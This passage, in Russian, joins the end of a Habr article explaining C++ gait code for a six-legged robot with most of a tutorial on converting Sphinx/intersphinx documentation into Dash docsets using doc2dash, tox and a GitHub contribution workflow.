linearFunc(2.0, -m_Offset, m_Pose0[RIGTH_BACK_FOOT_IDX], k - 0.5,
points[RIGTH_BACK_FOOT_IDX]);
int h = (int)m_Heigth*sin(M_PI*(k - 0.25)*2);
points[LEFT_FRONT_FOOT_IDX].z += h;
points[LEFT_BACK_FOOT_IDX].z += h;
points[RIGTH_MIDLE_FOOT_IDX].z += h;
} else if(k < 0.75) { // третья четверть шага
linearFunc(2.0, m_Offset, m_Pose0[LEFT_FRONT_FOOT_IDX], k - 0.5,
points[LEFT_FRONT_FOOT_IDX]);
linearFunc(2.0, m_Offset, m_Pose0[LEFT_BACK_FOOT_IDX], k - 0.5,
points[LEFT_BACK_FOOT_IDX]);
linearFunc(2.0, m_Offset, m_Pose0[RIGTH_MIDLE_FOOT_IDX], k - 0.5,
points[RIGTH_MIDLE_FOOT_IDX]);
linearFunc(2.0, -m_Offset, m_Pose0[LEFT_MIDLE_FOOT_IDX], k - 0.5,
points[LEFT_MIDLE_FOOT_IDX]);
linearFunc(2.0, -m_Offset, m_Pose0[RIGTH_FRONT_FOOT_IDX], k - 0.5,
points[RIGTH_FRONT_FOOT_IDX]);
linearFunc(2.0, -m_Offset, m_Pose0[RIGTH_BACK_FOOT_IDX], k - 0.5,
points[RIGTH_BACK_FOOT_IDX]);
int h = (int)m_Heigth*cos(M_PI*(k - 0.5)*2);
points[LEFT_FRONT_FOOT_IDX].z += h;
points[LEFT_BACK_FOOT_IDX].z += h;
points[RIGTH_MIDLE_FOOT_IDX].z += h;
} else { // последняя четверть шага
linearFunc(2.0, m_Offset, m_Pose0[LEFT_FRONT_FOOT_IDX], 1 - k,
points[LEFT_FRONT_FOOT_IDX]);
linearFunc(2.0, m_Offset, m_Pose0[LEFT_BACK_FOOT_IDX], 1 - k,
points[LEFT_BACK_FOOT_IDX]);
linearFunc(2.0, m_Offset, m_Pose0[RIGTH_MIDLE_FOOT_IDX], 1 - k,
points[RIGTH_MIDLE_FOOT_IDX]);
linearFunc(2.0, -m_Offset, m_Pose0[LEFT_MIDLE_FOOT_IDX], 1 - k,
points[LEFT_MIDLE_FOOT_IDX]);
linearFunc(2.0, -m_Offset, m_Pose0[RIGTH_FRONT_FOOT_IDX], 1 - k,
points[RIGTH_FRONT_FOOT_IDX]);
linearFunc(2.0, -m_Offset, m_Pose0[RIGTH_BACK_FOOT_IDX], 1 - k,
points[RIGTH_BACK_FOOT_IDX]);
int h = (int)m_Heigth*sin(M_PI*(k - 0.75)*2);
points[LEFT_MIDLE_FOOT_IDX].z += h;
points[RIGTH_FRONT_FOOT_IDX].z += h;
points[RIGTH_BACK_FOOT_IDX].z += h;
}
return S_OK;
}
```
Весь шаг мы делим на четыре четверти:
1. В первой четверти, первая триада конечностей (левая передняя, левая задняя и правая средняя) выполняют толкательное движение, то есть они перемещаются по поверхности в направлении противоположном движению. Вторая триада лап (правая передняя, правая задняя и левая средняя) перемещаются в направлении движения, при этом высота их подъема меняется от максимального значения заданной высоты подъема лап (в начале четверти) до нуля (в конце четверти) как функция синуса.
2. Во второй четверти, направления движения триад меняются. Теперь вторая триада лап выполняет перемещение робота, а первая движется в том же направлении что и робот. При этом высота лап первой триады меняется по синусоиде от нулевого значения до максимального значения.
3. В третьей четверти направление движения лап сохраняется, а концы первой триады идут на снижение, достигая поверхности в конце третьей четверти.
4. В последней четверти первая триада становится опорной, а вторая меняет направление и двигается по синусоиде вверх, достигая максимальной высоты подъема в конце четверти.
#### Класс RotateMotion
Поняв логику работы класса *LinearMotion*, мы без труда разберемся с реализацией класса *RotateMotion*.
**RotateMotion::RotateMotion(...)**
```
RotateMotion::RotateMotion(int heigth, Vector3D pose0[FOOTS_COUNT], Vector3D speed,
long maxTime, long totalTime = -1, Motion* pNext = NULL)
: Motion(maxTime, true, totalTime, pNext) {
copyPose(m_Pose0, pose0);
m_Angles = 0.001*maxTime*speed*M_PI/180;
m_Heigth = heigth;
}
```
Конструкторы обоих классов практически идентичны по составу передаваемых аргументов. Только в случае разворота *speed* — это вектор угловой скорости, задающий ось и скорость вращения робота.
В методе *getPose* класса *RotateMotion* логика работы так же подразделена на четыре этапа. Однако для вычисления положения лап вместо линейной функции *linearFunc* используется радиальная функция *rotFunc*.
**int RotateMotion::getPose(...)**
```
int RotateMotion::getPose(long time, Vector3D points[FOOTS_COUNT]) {
double k = 1.0*time/m_MaxTime;
if(k < 0.25) { // первая четверть шага
rotFunc(2.0, m_Angles, m_Pose0[LEFT_FRONT_FOOT_IDX], k,
points[LEFT_FRONT_FOOT_IDX]);
rotFunc(2.0, m_Angles, m_Pose0[LEFT_BACK_FOOT_IDX], k,
points[LEFT_BACK_FOOT_IDX]);
rotFunc(2.0, m_Angles, m_Pose0[RIGTH_MIDLE_FOOT_IDX], k,
points[RIGTH_MIDLE_FOOT_IDX]);
rotFunc(2.0, m_Angles, m_Pose0[LEFT_MIDLE_FOOT_IDX], -k,
points[LEFT_MIDLE_FOOT_IDX]);
rotFunc(2.0, m_Angles, m_Pose0[RIGTH_FRONT_FOOT_IDX], -k,
points[RIGTH_FRONT_FOOT_IDX]);
rotFunc(2.0, m_Angles, m_Pose0[RIGTH_BACK_FOOT_IDX], -k,
points[RIGTH_BACK_FOOT_IDX]);
int h = (int)m_Heigth*cos(M_PI*k*2);
points[LEFT_MIDLE_FOOT_IDX].z += h;
points[RIGTH_FRONT_FOOT_IDX].z += h;
points[RIGTH_BACK_FOOT_IDX].z += h;
} else if(k < 0.5) { // вторая четверть шага
rotFunc(2.0, m_Angles, m_Pose0[LEFT_FRONT_FOOT_IDX], 0.5 - k,
points[LEFT_FRONT_FOOT_IDX]);
rotFunc(2.0, m_Angles, m_Pose0[LEFT_BACK_FOOT_IDX], 0.5 - k,
points[LEFT_BACK_FOOT_IDX]);
rotFunc(2.0, m_Angles, m_Pose0[RIGTH_MIDLE_FOOT_IDX], 0.5 - k,
points[RIGTH_MIDLE_FOOT_IDX]);
rotFunc(2.0, m_Angles, m_Pose0[LEFT_MIDLE_FOOT_IDX], k - 0.5,
points[LEFT_MIDLE_FOOT_IDX]);
rotFunc(2.0, m_Angles, m_Pose0[RIGTH_FRONT_FOOT_IDX], k - 0.5,
points[RIGTH_FRONT_FOOT_IDX]);
rotFunc(2.0, m_Angles, m_Pose0[RIGTH_BACK_FOOT_IDX], k - 0.5,
points[RIGTH_BACK_FOOT_IDX]);
int h = (int)m_Heigth*sin(M_PI*(k - 0.25)*2);
points[LEFT_FRONT_FOOT_IDX].z += h;
points[LEFT_BACK_FOOT_IDX].z += h;
points[RIGTH_MIDLE_FOOT_IDX].z += h;
} else if(k < 0.75) { // третья четверть шага
rotFunc(2.0, m_Angles, m_Pose0[LEFT_FRONT_FOOT_IDX], 0.5 - k,
points[LEFT_FRONT_FOOT_IDX]);
rotFunc(2.0, m_Angles, m_Pose0[LEFT_BACK_FOOT_IDX], 0.5 - k,
points[LEFT_BACK_FOOT_IDX]);
rotFunc(2.0, m_Angles, m_Pose0[RIGTH_MIDLE_FOOT_IDX], 0.5 - k,
points[RIGTH_MIDLE_FOOT_IDX]);
rotFunc(2.0, m_Angles, m_Pose0[LEFT_MIDLE_FOOT_IDX], k - 0.5,
points[LEFT_MIDLE_FOOT_IDX]);
rotFunc(2.0, m_Angles, m_Pose0[RIGTH_FRONT_FOOT_IDX], k - 0.5,
points[RIGTH_FRONT_FOOT_IDX]);
rotFunc(2.0, m_Angles, m_Pose0[RIGTH_BACK_FOOT_IDX], k - 0.5,
points[RIGTH_BACK_FOOT_IDX]);
int h = (int)m_Heigth*cos(M_PI*(k - 0.5)*2);
points[LEFT_FRONT_FOOT_IDX].z += h;
points[LEFT_BACK_FOOT_IDX].z += h;
points[RIGTH_MIDLE_FOOT_IDX].z += h;
} else { // последняя четверть шага
rotFunc(2.0, m_Angles, m_Pose0[LEFT_FRONT_FOOT_IDX], k - 1,
points[LEFT_FRONT_FOOT_IDX]);
rotFunc(2.0, m_Angles, m_Pose0[LEFT_BACK_FOOT_IDX], k - 1,
points[LEFT_BACK_FOOT_IDX]);
rotFunc(2.0, m_Angles, m_Pose0[RIGTH_MIDLE_FOOT_IDX], k - 1,
points[RIGTH_MIDLE_FOOT_IDX]);
rotFunc(2.0, m_Angles, m_Pose0[LEFT_MIDLE_FOOT_IDX], 1 - k,
points[LEFT_MIDLE_FOOT_IDX]);
rotFunc(2.0, m_Angles, m_Pose0[RIGTH_FRONT_FOOT_IDX], 1 - k,
points[RIGTH_FRONT_FOOT_IDX]);
rotFunc(2.0, m_Angles, m_Pose0[RIGTH_BACK_FOOT_IDX], 1 - k,
points[RIGTH_BACK_FOOT_IDX]);
int h = (int)m_Heigth*sin(M_PI*(k - 0.75)*2);
points[LEFT_MIDLE_FOOT_IDX].z += h;
points[RIGTH_FRONT_FOOT_IDX].z += h;
points[RIGTH_BACK_FOOT_IDX].z += h;
}
return S_OK;
}
```
Радиальная функция позволяет вычислить положение точки в пространстве после ее вращения вокруг центра робота, который совпадает с началом координат.
**void rotFunc(...)**
```
void rotFunc(float a, Vector3D angles, Vector3D p0, float k, Vector3D& res) {
Matrix3D m = rotMatrix2(a*angles*k);
res = m*p0;
}
```
Внутри функции задействован математический аппарат, позволяющий нам работать с векторными и матричными величинами.
На этом пока закончить. Мы разобрали существенную часть программного кода, отвечающего за реализацию движения робота. Если остались вопросы или замечания, буду рад ответить на них в комментариях. Следующую статью я постараюсь посвятить оставшейся части кода, исходники которого будут доступны для скачивания.
Спасибо за внимание!
Продолжение следует… | https://habr.com/ru/post/489672/ | null | ru | null |
# Как оставаться программистом, если у тебя память как у дрозофилы
Мой мадригал тем инструментам разработки, которые изменили мою жизнь
Программирование: срез за много лет
-----------------------------------
Программирование стало гораздо более многогранным ремеслом с тех пор, как в середине 1990-х я впервые попробовал [*AmigaBASIC*](https://en.wikipedia.org/wiki/AmigaBASIC). В те времена еще можно было купить один большой том о компьютере, на котором вы программируете – и там бы нашлось 99% всей нужной информации. Эта книга, где на множестве страниц уголки загнуты в качестве закладок, обклеенная стикерами, лежала бы у вас под рукой, пока вы вбивали бы команды в монохромный текстовый редактор.
Современная книга по клиентскому веб-фреймворку может быть толще, чем во времена программирования под C64 бывали мануалы, достаточные для создания полноценных игр. С другой стороны, *сегодня* информация по любым платформам, для которых требуется писать код, находится буквально в одном клике.
Сегодня никто бы больше и не подумал покупать документацию по разработке – и [Microsoft](https://learn.microsoft.com/en-us/windows/apps/desktop/), и [Apple](https://developer.apple.com/documentation/) свободно выкладывают свою документацию в Интернете для всех желающих. А что говорить о проектах с открытым исходным кодом!
Во времена [*npm*](https://www.npmjs.com/), [*PyPI*](https://pypi.org/) и GitHub сложно объяснить, насколько неоднозначным решением (которое требовалось всесторонне обдумывать) раньше считалось потребовать хоть какие-нибудь возможности, которые выходили бы за рамки функционала операционной системы. Часто вместе с продуктом приходилось сдавать и все его зависимости.
Нынешнее изобилие и разнообразие инструментов – это благо, но в таких условиях **фрагментируется информация, необходимая вам для продуктивной работы**.
У вас могут быть открыты десятки вкладок с документацией по пакетам, с которыми вы работаете в настоящий момент. Вы бешено перещелкиваете вкладки, чтобы найти нужную. Поскольку мне доводилось работать из [лучшего в мире города для занятий лонгбордингом](https://en.wikipedia.org/wiki/Muizenberg), где несколько десятков тысяч человек делят одну [точку присутствия](https://en.wikipedia.org/wiki/Point_of_presence) на всех, могу вас заверить, что чисто онлайновые документы – не единственная проблема, когда Интернет намертво отрубается. Скажу вам, что поиск при сбоящем Интернете – это хуже, чем вообще никакого поиска.
Если вы, как и я, работаете сразу со множеством языков программирования, вокруг каждого из которых сформировались колоссальные субкультуры (даже в пределах Python есть *Flask* + *SQLAlchemy* + *Postgres*, которая кардинально отличается от программирования сетевых серверов на основе *asyncio*), то поймете, что мне просто дурно помыслить, может ли кто-нибудь вспомнить все аргументы к каждому из используемых мной методов. В основном потому, что я сам едва вспоминаю собственный номер телефона.
Вот почему моя жизнь в корне изменилась в 2012 году, когда я открыл для себя [*Dash*](https://kapeli.com/dash).
Обозреватели документации по API
--------------------------------
> *Разум нужен, чтобы придумывать идеи, а не хранить их.*
>
> — **Дэвид Аллен**
>
>
Поиск в Dash *Dash* наделяет меня суперсилой – иметь все актуальные API под рукой, только один раз на клавишу нажать:
* Нажимаю «Пробел» - и всплывает окно со строкой поиска, в которой уже *стоит курсор*,
* Начинаю вводить приблизительное название API или темы
* Выбираю из предложенных вариантов – и выхожу на символ, по которому открывается официальная *документация к проекту*.
* Нажимаю Esc – и всплывающее окно исчезает, а я могу сразу снова писать код, потому что мой редактор снова в фокусе.
* Если я забуду, о чем только что читал – то просто вновь нажимаю «Пробел» - и окно всплывает в том же месте, где находилось ранее.
Все это происходит *молниеносно* – я хочу, чтобы на путь в оба конца уходило менее 2 секунд. Такая *скорость* и *нужна*, чтобы не терять концентрацию и не забывать, чем занимаешься. Я уже научился делать все это на автомате. Давно забытая роскошь нативных приложений – да, я знаю о [https://devdocs.io](https://devdocs.io/).
**Когда *вся* документация по API лежит на расстоянии одного клика – какую силу тебе это придаёт!**
Чем меньше сил я трачу на припоминание аргумента функции или на то, чтобы вспомнить путь, по которому будет импортироваться класс – тем больше могу сосредоточиться на обдумывании решаемой задачи.
Не считаю себя особенно умным, поэтому не упускаю возможности разгрузить мозг.
Притом, что приложение *Dash* для Mac стоит $ 30 Mac (также доступно в рамках подписки [*Setapp*](https://setapp.com/)!), имеются **бесплатные** аналоги под **Windows** и под **Linux**, называются [*Zeal*](https://zealdocs.org/), а также приложение за $ 20 под **Windows**, называется [*Velocity*](https://velocity.silverlakesoftware.com/). *Естественно,* существует как минимум один пакет **Emacs** для той же цели: [*helm-dash*](https://github.com/dash-docs-el/helm-dash).
Мораль: такую благодать с API можно организовать на любой платформе! Далее я напишу конкретно о *Dash*, поскольку работаю именно с ним, но, если не указано иное, то все сказанное применимо к любым инструментам.
Одна штука, общая для всех этих инструментов – общий формат для создания локальной документации.
Наборы документации
-------------------
Все они используют [*пакеты с наборами документации*](https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/Documentation_Sets/010-Overview_of_Documentation_Sets/docset_overview.html#//apple_ref/doc/uid/TP40005266-CH13-SW6) (*docsets*) от Apple – это каталоги с документацией в формате HTML, метаданные в [*списке свойств*](https://en.wikipedia.org/wiki/Property_list), основанном на формате XML, а также индекс для поиска в базе данных [*SQLite*](https://sqlite.org/):
```
some.docset
└── Contents
├── Info.plist # ← метаданные
└── Resources
├── Documents # ← корневой каталог с HTML-документами
│ └── index.html
└── docSet.dsidx # ← База данных SQLite с поисковым индексом
```
Если у вас на диске есть куча HTML-файлов, то их можно преобразовать в набор *docset*, который уже может потребляться *Dash*. Это просто HTML-файлы с метаданными. А поскольку эти HTML-файлы лежат **у вас на диске**, все работает **оффлайн**.
Следовательно, наборы *docsets* могут заменить документацию, которые вы и так держите на локальном компьютере, чтобы иметь к информации быстрый и/или оффлайновый доступ, ничего особенного не делая. Просто упакуйте этот материал в нужную структуру каталогов, [добавьте пустой индекс](https://kapeli.com/docsets#createsqlite) и внесите простые метаданные.
*Сезам*! Теперь их можно поднять, нажав всего одну клавишу, а убрать их с глаз другой клавишей.
Давайте вернемся к тому скучному историческому экскурсу, с которого начиналась эта статья: я работаю с мириадами проектов на бесчисленных платформах, изо дня в день. Причем, я в данном случае имею в виду не только API для программирования, а еще и роли *Ansible*, классы CSS, конфигурацию *HAProxy*, тонкости *Postgres* (и SQL!)…**много всего**.
Установленные наборы Dash docsetsХотя базовая документация по Python и Go поставляется с *Dash*, а документацию [*Godoc*](https://go.dev/blog/godoc) можно добавить прямо по URL, но, как бы *Dash* ни старался – все тщетно. Современный мир разработки ПО настолько фрагментирован, что ни один инструмент не предоставит мне всего, что мне нужно.
Sphinx
------
Серьезнейшим недостающим звеном для меня стали документы на основе [*Sphinx*](https://www.sphinx-doc.org/), доминирующие во всей экосистеме Python (и не только в ней).
*Sphinx* – это фреймворк для написания документации, от конкретного языка он не зависит. Это не просто документация по API, равно как и не повествовательные документы, а **все сразу**, причем, сильно перелинкованное. Sphinx в свое время снискал дурную славу, так как вынуждал пользователей работать с [*reStructuredText*](https://en.wikipedia.org/wiki/ReStructuredText), но теперь становится все больше таких проектов, которые опираются на чудесный пакет [*MyST*](https://myst-parser.readthedocs.io/), позволяющий все сделать в *Markdown*. Если у вас есть какие-либо предубеждения по поводу того, как выглядит документация *Sphinx*, настоятельно рекомендую посетить [*галерею с темами Sphinx*](https://sphinx-themes.org/) и посмотреть, насколько красивы могут быть ваши документы. Инструмент написан на Python, но используется широко, в том числе, в [ядре Linux](https://github.com/torvalds/linux/tree/master/Documentation), в [*Swift*](https://github.com/apple/swift/tree/main/docs) от Apple, в проекте [*LLVM* (*Clang*!)](https://github.com/llvm/llvm-project/tree/main/clang/docs) или в бешено популярных [PHP-проектах](https://github.com/guzzle/guzzle/tree/master/docs).
Кроме того, он предлагает то самое недостающее звено: индекс записей API, разделов, терминов из глоссария, конфигурационных опций, аргументов командной строки и пр. Все это распределяется по вашей документации таким образом, как вам угодно, но всегда поддается *перелинковке*, туда и обратно. Я считаю, это просто чудесно, особенно, если вы придерживаетесь систематического фреймворка, например, [*Diátaxis*](https://diataxis.fr/).
Ключевой компонент, обеспечивающий все это, строго говоря – просто расширение: [*intersphinx*](https://www.sphinx-doc.org/en/master/usage/extensions/intersphinx.html). Исходно он создавался для внутрипроектной перелинковки (отсюда и название) и предлагает к нашим услугам машинно-читаемый индекс. Этот индекс стал настолько популярен, что сейчас даже поддерживается через специальное расширение для [*MkDocs*](https://www.mkdocs.org/) под названием [*mkdocstrings*](https://mkdocstrings.github.io/) и через [*pydoctor*](https://github.com/twisted/pydoctor). Документация, совместимая с *intersphinx*, узнается именно по такому файлу индекса: `objects.inv`.
Именно поэтому я 10 лет назад начал и до сих пор веду проект *doc2dash*.
doc2dash
--------
Это инструмент командной строки, который можно скачать у меня на [*Homebrew* tap](https://github.com/hynek/homebrew-tap), скачать один из [заранее подготовленных бинарников](https://hynek.me/til/python-portable-binaries/) для Linux, macOS и Windows со [страницы с релизами](https://github.com/hynek/doc2dash/releases) или установить из [PyPI](https://pypi.org/project/doc2dash/).
Затем, все, что вам останется сделать – это указать данному инструменту путь к каталогу с *intersphinx*-совместимой документацией, и он сделает все нужное, чтобы предоставить вам *docset*.
Преобразование doc2dashОбратите внимание: имя здесь ***doc****2dash*, а не *sphinx2dash*. Инструмент всегда позиционировался как *фреймворк* для написания высококачественных конвертеров, и первые в их ряду — *Sphinx* и *pydoctor*. К сожалению, этой надежде было не суждено сбыться, так как – что логично – в каждом сообществе предпочитали работать со своим языком и собственным инструментарием.
Но мне эти инструменты всегда казались какими-то одноразовыми, поэтому лишний раз подчеркну, что мне *хотелось бы* работать с другими инструментами, обеспечивающими поддержку для других форматов документации. Не нужно изобретать велосипед, весь фреймворк уже готов! [Это просто файл с кодом](https://doc2dash.readthedocs.io/en/stable/extending/)! Вам даже не требуется открывать ваш парсер ни мне, ни всему миру.
Сам факт, что и *Dash*, и *doc2dash* уже давно разменяли второй десяток, а среди моих друзей по-прежнему есть ребята, у которых при работе открыт дохреллион вкладок с API-документацией. У меня от этого сердце сжимается, в хорошем смысле. Продолжаю показывать людям, как работает *Dash*, настаиваю, что он крут, и они заносят его в свои списки «*когда-нибудь разберусь*». Но без лишних напоминаний это «когда-нибудь» так и не наступает.
На этом заканчивается вводная часть статьи (про память как у золотой рыбки), и я попробую вас растормошить, чтобы это «*когда-нибудь*» наступило «*сегодня*»!
Учимся преобразовывать и отправлять документацию
------------------------------------------------
Цель этого руководства – научить вас преобразовывать *intersphinx*-совместимую документацию в *docset* и как отправлять полученный результат в [*генерируемый пользователем реестр docset*](https://github.com/Kapeli/Dash-User-Contributions), поддерживаемый в *Dash* – так, чтобы другим не требовалось дублировать уже проделанную вами работу.
Исходим из того, что вы уже выбрали и установили ваш любимый обозреватель API. Не важно, какой именно вы используете, но в данном руководстве вся работа рассмотрена на примере *Dash*. Если вы хотите *опционально* отправлять *docset* по результатам работы, то вам также потребуется базовое понимание GitHub – в частности, нужно знать, как в нем [построена работа с пул-реквестами](https://docs.github.com/en/get-started/quickstart/contributing-to-projects).
Когда я взялся работать над этим руководством, мне *наконец-то* представился случай приступить к публикации *docsets* по моим собственным проектам, начиная со [*structlog*](https://www.structlog.org/). Предлагаю **вам** самим подобрать проект, совместимый с *intersphinx*, который пока не поддерживается в *Dash*, и вкладку с документацией по которому вы открываете чаще всего.
Приступим же!
Обзаводимся doc2dash
--------------------
Если вы уже пользуетесь [*Homebrew*](https://brew.sh/), то проще всего взять *doc2dash* прямо у меня, [отсюда](https://github.com/hynek/homebrew-tap/):
```
$ brew install hynek/tap/doc2dash
```
Там есть заготовленные [*бутылки*](https://docs.brew.sh/Bottles) для Linux *x86-64* и macOS как на *x86-64*, так и на *Apple silicon*, поэтому установка должна пойти очень быстро.
Если вы сами не придумали обходной маневр, помогающий оптимизировать установку пакетов Python, то лучше всего воспользоваться заранее собранными бинарниками со [страницы релизов](https://github.com/hynek/doc2dash/releases/latest). В настоящее время предлагаются бинарники для Linux, Windows и macOS – все для архитектур *x86-64*. Надеюсь, в будущем появятся и другие предложения, если этот подход окажется популярным. Наконец, пакеты можно взять с
[PyPI](https://pypi.org/project/doc2dash/). *Категорически* рекомендую пользоваться [*pipx*](https://pypa.github.io/pipx/), а запускать *doc2dash* проще всего такой командой:
```
$ pipx run doc2dash --help
```
Есть здесь и продвинутый совет #*дляпрофи*: если вы разбираетесь в *PyPy*, умеете им пользоваться, а также планируете сконвертировать огромные деревья с документацией. Итак, совет: *doc2dash* более чем вдвое прибавляет в скорости, если работать с [*PyPy*](https://www.pypy.org/), а не с [*CPython*](https://www.python.org/).
Если вы ничего из этого раздела не поняли – просто забудьте о нем и возьмите чашечку горячего кофе.
Собираем документацию
---------------------
Далее переходим к самой серьезной проблеме, из-за которой поступают новые запросы на доработку *doc2dash*: вся документация нам нужна в полной, собранной форме. Как правило, это означает, что вам нужно скачать репозиторий и самостоятельно разобраться, как скомпоновать документацию – и только затем переходить к установке *doc2dash*. Дело в том, что на большинстве сайтов с документацией отсутствует возможность скачать всю документацию целиком.
Вот что я придумал: сначала поискать `tox.ini` или `noxfile.py` и посмотреть, собирает ли он документацию. Если нет – поискать `readthedocs.yml`, а если и это не удастся – искать конкретные файлы с названиями вроде `docs-requirements.txt` или опциональные цели для установки, например, `docs`. Последняя надежда – пройтись по страницам YAML и проверить конфигурации CI.
Как только вы справитесь с установкой всех зависимостей, вам, скорее всего, останется сделать только `make html` в каталоге с документацией.
Когда справитесь со всем этим, у вас должен получиться каталог `_build/html` для *Sphinx* или `site` для *MkDocs*.
Обратите внимание: в случае с *MkDocs*, если в проекте не используется расширение [*mkdocstrings*](https://mkdocstrings.github.io/) – увы, сегодня это можно сказать практически про все популярные проекты – у вас не окажется файла `objects.inv` и, следовательно, не будет данных API, которые можно было бы потреблять.
Искренне надеюсь, что появится больше проектов на основе *MkDocs*, в которых добавится поддержка *mkdocstrings*! Этот инструмент, как *Sphinx*, также не зависит от языка.
Преобразование
--------------
За самым сложным этапом следует самый простой: преобразуем в *docset* ту документацию, которую только что собрали.
Все, что требуется для этого сделать – указать *doc2dash* на каталог с HTML-документацией и ждать:
```
$ doc2dash _build/html
```
Вот и все!
*doc2dash* умеет извлекать имя из индекса *intersphinx* и использует это имя по умолчанию (его можно переопределить при помощи `--name`). У вас должно получиться добавить этот *docset* в обозреватель API на ваше усмотрение – после этого все должно работать.
Если передать `--add-to-dash` или `-a`, то финальная версия *docset* автоматически добавится в *Dash*, когда все будет готово. Если передать `--add-to-global` или `-A`, то готовый *docset* будет перенесен в глобальный каталог (`~/Library/Application Support/doc2dash/DocSets`) и добавлен оттуда. При создании *docset* для собственных нужд я редко использую *doc2dash* без `-A`.
Улучшаем набор документации
---------------------------
По документации к *Dash* есть [ряд рекомендаций](https://kapeli.com/docsets#contributetodash) по улучшению того *docset*, что был собран на предыдущем этапе. Здесь важно отметить, что следующие несколько шагов строго опциональны, и я часто ими пренебрегаю, так как ленив.
Но в данном случае я хочу отправить *docset* в предоставленный пользователем реестр *Dash*, так что давайте пройдем этот путь от начала и до конца!
Готовим главную страницу
------------------------
В *Dash* всегда можно поискать *все* установленные *docsets*, но иногда поле поиска хочется ограничить. Например, при вводе `p3:` (двоеточие здесь значимое), то *Dash* начинает искать только по *docset* от Python 3. Еще до того, как вы начнете вводить текст, под поисковым полем откроется меню, первым элементом которого будет «Main Page».
При преобразовании документов *structlog* эта главная страница содержит индекс, который может быть полезен, но мне он обычно не нужен. Выходя на главную страницу, я обычно собираюсь полистать повествовательную документацию.
В *doc2dash* опция для установки главной страницы называется `--index-page` или `-I`, здесь (относительно корня документа) принимает имя того файла, страница которого вас интересует.
Здесь можно запутаться, так как имя файла с индексом — `genindex.html`, а имя файла с главной страницей — `index.html`, как обычно в HTML. Следовательно, добавляем в командную строку `--index-page index.html`.
Добавляем иконку
----------------
Наборы с документацией могут сопровождаться иконками, которые расставлены по всему *Dash* рядом с именами и символами *docsets*. Это не только красиво, но и помогает быстрее узнавать нужный *docset*. Если же вы ищете информацию сразу по многим *docsets*, то понятно, откуда берется символ.
У *structlog* на логотипе милый бобёр, так что давайте в [*ImageMagick*](https://imagemagick.org/) изменим размер этого логотипа, чтобы он составлял 16x16 пикселов:
```
$ magick \
docs/_static/structlog_logo_transparent.png \
-resize 16x16 \
docs/_static/docset-icon.png
```
Теперь его можно добавить в *docset*, воспользовавшись опцией `--icon docset-icon.png`.
Поддержка онлайновой переадресации
----------------------------------
Оффлайновые документы великолепны, но иногда бывает полезно перейти к онлайновой версии той страницы с документацией, которую вы сейчас читаете. Как правило, это делается, чтобы свериться с более новой или более старой версией.
В меню *Dash* для этого есть элемент «Open Online Page ⇧⌘B», но инструменту нужно сообщить базовый URL к документации. Это можно задать при помощи `--online-redirect-url` or `-u`.
Что касается пакетов Python, лежащих на [*Read the Docs*](https://readthedocs.org/), там можно выбирать между версиями `stable` (отмечена как наиболее актуальная в системе контроля версий) и `latest` (актуальная главная ветка).
Думаю, с `latest` целесообразнее в случаях, если вы не хотите расставаться с комфортом, присущим оффлайновой документации. Поэтому добавлю:
```
--online-redirect-url https://www.structlog.org/en/latest/
```
Всё вместе
----------
Готово! Давайте выполним все, что записано в командной строке и посмотрим, как это выглядит в *Dash*:
```
$ doc2dash \
--index-page index.html \
--icon docs/_static/docset-icon.png \
--online-redirect-url https://www.structlog.org/en/latest/ \
docs/_build/html
Converting intersphinx docs from '/Users/hynek/FOSS/structlog/docs/_build/html' to 'structlog.docset'.
Parsing documentation...
Added 238 index entries.
Patching for TOCs... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% 0:00:00
```
Чудесно:
Главная страница structlogОбратите внимание на иконку в поисковой строке. Если я нажму ⇧⌘B на любой странице с якорем, то перескочу к тому же месту в новейшей версии онлайновой документации.
Автоматизация
-------------
Поскольку я хочу создавать новую версию *docsets* для каждого нового релиза, подготовку этих версий нужно автоматизировать. В *structlog* «Действия» (Actions) GitHub уже используются как средство непрерывной интеграции, поэтому целесообразно воспользоваться тем же механизмом и для сборки docset.
Применительно к локальному тестированию мне очень пригодится, что проект *doc2dash* написан на Python, и я могу работать в среде [*tox*](https://tox.wiki/), повторно использующей все те же зависимости, что были задействованы и при тестировании самой документации.
*tox* – это комбинация *make* и менеджера виртуальной среды. *tox* основан на файловом формате `ini`. Исходно он предназначался для тестирования программ на Python сразу для многих версий Python, но в итоге превратился в гораздо более мощный инструмент.
Он сильно выигрывает по сравнению с `Makefile`, поскольку отлично портируется, а также в нем встроена функция подготовки пакетов для Python (так или иначе, она необходима для сборки документации).
Среда устанавливает `structlog[docs]` – т.e., пакет с опциональными зависимостями `docs`, плюс *doc2dash*. Затем по порядку выполняет следующие команды:
```
[testenv:docset]
extras = docs
deps = doc2dash
allowlist_externals =
rm
cp
tar
commands =
rm -rf structlog.docset docs/_build
sphinx-build -n -T -W -b html -d {envtmpdir}/doctrees docs docs/_build/html
doc2dash --index-page index.html --icon docs/_static/docset-icon.png --online-redirect-url https://www.structlog.org/en/latest/ docs/_build/html
cp docs/_static/docset-icon@2x.png structlog.docset/icon@2x.png
tar --exclude='.DS_Store' -cvzf structlog.tgz structlog.docset
```
Далее я могу собрать *docset*, просто вызвав `tox -e docset`. [Пока в *doc2dash* сохранится поддержка иконок в высоком разрешении](https://github.com/hynek/doc2dash/issues/130), он также копирует крупную версию логотипа, 32x32 пикселя, непосредственно в *docset*.
Сама эта операция тривиальна, но для нее требуются простыни шаблонного кода, так что я просто оставлю [ссылку, иллюстрирующую рабочий поток](https://github.com/hynek/structlog/blob/main/.github/workflows/build-docset.yml). Обратите внимание на действие `upload-artifact` в конце, позволяющее мне скачать собранные *docset*s из сводок отдельных прогонов.
На данном этапе у нас уже есть *отличный* *docset*, собранный *автоматически*. Давайте выставим его на всеобщее обозрение!
Выкладка
--------
На заключительном этапе отправим наш *docset* в репозиторий *Dash*, который заполняют пользователи, так, чтобы другие специалисты могли с удобством скачать его через графический пользовательский интерфейс *Dash*. В данном случае удобно, что в *Dash* используется концепция [целого процесса](https://github.com/Kapeli/Dash-User-Contributions#contribute-a-new-docset), такого, с которым знакомы, пожалуй, все фанаты опенсорса: речь идет о таких пул-реквестах, как в GitHub.
Первым делом сверяемся со списком [*Docset Contribution Checklist*](https://github.com/Kapeli/Dash-User-Contributions/wiki/Docset-Contribution-Checklist). К счастью, мы – или, в некоторых случаях, *doc2dash* – уже обо всем позаботились!
Итак, идем дальше, делаем форк репозитория <https://github.com/Kapeli/Dash-User-Contributions> и клонируем его на наш компьютер.
